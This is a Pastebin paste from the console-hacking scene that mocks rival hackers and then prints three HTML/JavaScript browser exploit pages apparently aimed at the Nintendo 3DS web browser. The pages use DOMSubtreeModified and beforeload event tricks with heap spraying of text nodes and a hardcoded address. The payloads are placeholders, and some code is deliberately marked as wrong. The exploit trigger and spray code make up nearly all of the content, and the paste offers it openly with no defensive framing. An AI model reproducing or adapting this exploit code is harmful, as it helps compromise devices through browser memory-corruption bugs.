Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Doubt ? Read between the lines than be so dumb and trust people that tease you since years without showing any real move on Wii U... 4 kids that can't even do anything, they can learn all what they want, they struggle in the same point.
- The old exploit is over, keep moving forward. (Even the NX will be release before you do something)
- You better find a GF to help you out.
- Gateway Script:
- <html>
- <head>
- <style>
- body {
- color:white;
- background:black;
- }
- </style>
- <script>
- function magicfun(mem, size, v) {
- var a = new Array(size - 20);
- nv = v + unescape("%ucccc");
- for (var j = 0; j < a.length / (v.length / 4); j++) a[j] = nv;
- var t = document.createTextNode(String.fromCharCode.apply(null, new Array(a)));
- mem.push(t);
- }
- function dsm(evnt) {
- var mem = [];
- for (var j = 20; j < 430; j++) {
- magicfun(mem, j, unescape("payload"));
- }
- }
- </script>
- </head>
- <body>
- <h1 align="center">GATEWAY 3DS LOADING...</h1>
- </body>
- </html>
- 3DSnice Script (only last few lines similar, learn how to read a script) :
- <html>
- <head>
- <style> body {color:blue;background:black;} iframe {display:none;} h1 {text-align:center;}
- </style>
- <script>
- if(parent==window) {
- window.onload = function() {
- document.body.innerHTML += "<iframe src='#' />";
- };
- } else if(navigator.userAgent.indexOf('Nintendo 3DS') != -1) {
- var nb = 0;
- window.onload = function () {
- f = window.frameElement;
- p = f.parentNode;
- var o = document.createElement("object");
- o.addEventListener('beforeload', function () {
- if (++nb == 1) {
- p.addEventListener('DOMSubtreeModified', parent.dsm, false);
- } else if (nb == 2) {
- p.removeChild(f);
- }
- }, false);
- document.body.appendChild(o);
- };
- }
- function magicfun(mem, size, v) {
- var a = new Array(size - 20);
- nv = v + unescape("%ucccc");
- for (var j = 0; j < a.length / (v.length / 4); j++) a[j] = nv;
- var t = document.createTextNode(String.fromCharCode.apply(null, new Array(a)));
- mem.push(t);
- }
- function dsm(e) {
- var mem = [];
- for (var j = 20; j < 430; j++)
- magicfun(mem, j, unescape("payload"));
- }
- </script>
- </head>
- <body>
- </body>
- </html>
- Useless exploit (oops shitty heap):
- <html>
- <head>
- <script>
- function sprayOne(mem, size, v) {
- var a = new Uint32Array(size - 20);
- for (var j = 0; j < a.length; j++) a[j] = v;
- var t = document.createTextNode(String.fromCharCode.apply(null, new Uint32Array(a)));
- mem.push(t);
- }
- function sprayInc(n) {
- var str = unescape(“wrong code”);
- var h1 = [];
- h1[0] = str.substring(0, str.length);
- for (i = 1; i <= n; i++)
- h1[i] = unescape(h1[0]);
- return h1;
- }
- function sprayCode(n) {
- var str = unescape(“wrong code”);
- var h1 = [];
- h1[0] = str.substring(0, str.length);
- for (i = 1; i <= n; i++)
- h1[i] = unescape(h1[0]);
- return h1;
- }
- function dsm(evnt) {
- // spray
- var mem = [];
- for (var j = 20; j < 2048; j++) sprayOne(mem, j, 0x1dd7b814);
- }
- var pointer = sprayInc(25000);
- var code = sprayCode(300);
- </script>
- </head>
- <body>
- <iframe src="frame.html"></iframe>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement